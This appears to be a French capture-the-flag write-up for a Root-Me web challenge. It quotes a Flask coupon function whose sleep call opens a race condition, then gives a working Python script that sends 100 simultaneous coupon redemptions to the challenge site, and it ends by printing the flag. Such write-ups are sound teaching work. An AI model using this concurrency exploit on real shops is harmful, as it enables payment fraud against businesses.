✅ Day 10 - Route-Mi Shop

  • WEB
  • Date de résolution : 10/12/2024

Reconnaissance

Un site web de shopping délivrant un coupon d'achat de 5€ en offre de bienvenue pour tout nouveau compte enregistré. Et il faut pouvoir acheter un article flag d'une valeur de 50€...
On a accès au code Flask et tout se passe dans le fichier routes.py
Assez vite, on comprend que la fonction discount() semble vulnérable.

 1def discount():
 2    user = User.query.get(session['user_id'])
 3    coupon_code = request.form.get('coupon_code')
 4
 5    coupon = Coupon.query.filter_by(user_id=user.id, code=coupon_code).first()
 6
 7    balance = int(user.balance)
 8    if coupon:
 9        if not coupon.used:
10            balance += 5.0
11            user.balance = balance
12            db.session.commit()
13
14            anti_bruteforce(2)
15
16            coupon.used = True
17            user.can_use_coupon = False
18            db.session.commit()
19            flash("Your account has been credited with 5€ !")
20        else:
21            flash("This coupon has already been used.")
22    else:
23        flash("This coupon is invalid or does not belong to you.")
24
25    return redirect(url_for('account'))

Une ligne an particulier nous attire : anti_bruteforce(2) ! Il s'agit d'une fonction générant un sleep() de 2 secondes... Etant donné que la ligne d'après est : coupon.used=True, et si on arrivait à griller plusieurs coupons simultanément ?
A ce moment précis, j'ai ouvert 2 navigateurs, me suis connecté et appuyé dans les 2 secondes sur le bouton ! Résultat : 10€ de cagnotte !!

Exploit

Voici mon script permettant de réaliser plusieurs requêtes simultanées :

 1import requests
 2from requests.packages.urllib3.exceptions import InsecureRequestWarning
 3requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 4import asyncio
 5import aiohttp
 6
 7
 8URL_BASE = "https://day10.challenges.xmas.root-me.org/"
 9EMAIL = "totohack@wonderland.fr"
10PASS = "toto"
11COUPON = "24b65a7e-e029-4254-b974-86fe2a3402ea"
12HEADERS = {
13    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
14    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
15    'Accept-Language': 'en-US,en;q=0.5',
16    'Accept-Encoding': 'gzip, deflate, br',
17    'Content-Type': 'application/x-www-form-urlencoded',
18    'Origin': URL_BASE,
19    'Referer': URL_BASE+'login',
20    'Upgrade-Insecure-Requests': '1'
21}
22
23async def get_discount(session, index):
24	try:
25		print(f"Started Get Discount of index: {index}")
26		url = URL_BASE + "login"
27		print(f"{url = }")
28		async with session.post(url, headers=HEADERS, data={'email':EMAIL, 'password':PASS}) as r_login:
29			#print(f"{r_login.text()}")
30			print(f"Cookies = {session.cookie_jar.filter_cookies(URL_BASE)}")
31		url = URL_BASE + "discount"
32		print(f"{url = }")
33		async with session.post(url, data={'coupon_code':COUPON}, headers=HEADERS) as r_discount:
34			#print(f"{await r_discount.text()}")
35			print(f"completed Get Discount of index: {index}")
36	except Exception as e:
37		print(f"Error: {str(e)}")
38		return None
39		
40async def run_concurrent_requests(number):
41	async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:
42		tasks = []
43		for index in range(number):
44			tasks.append(get_discount(session=session, index=index))
45		return await asyncio.gather(*tasks, return_exceptions=True)
46
47if __name__ == "__main__":
48	resp = asyncio.run(run_concurrent_requests(100))
49	print(resp)
FLAG

The flag is : RM{Route-m1_F0r_Th3_W1n}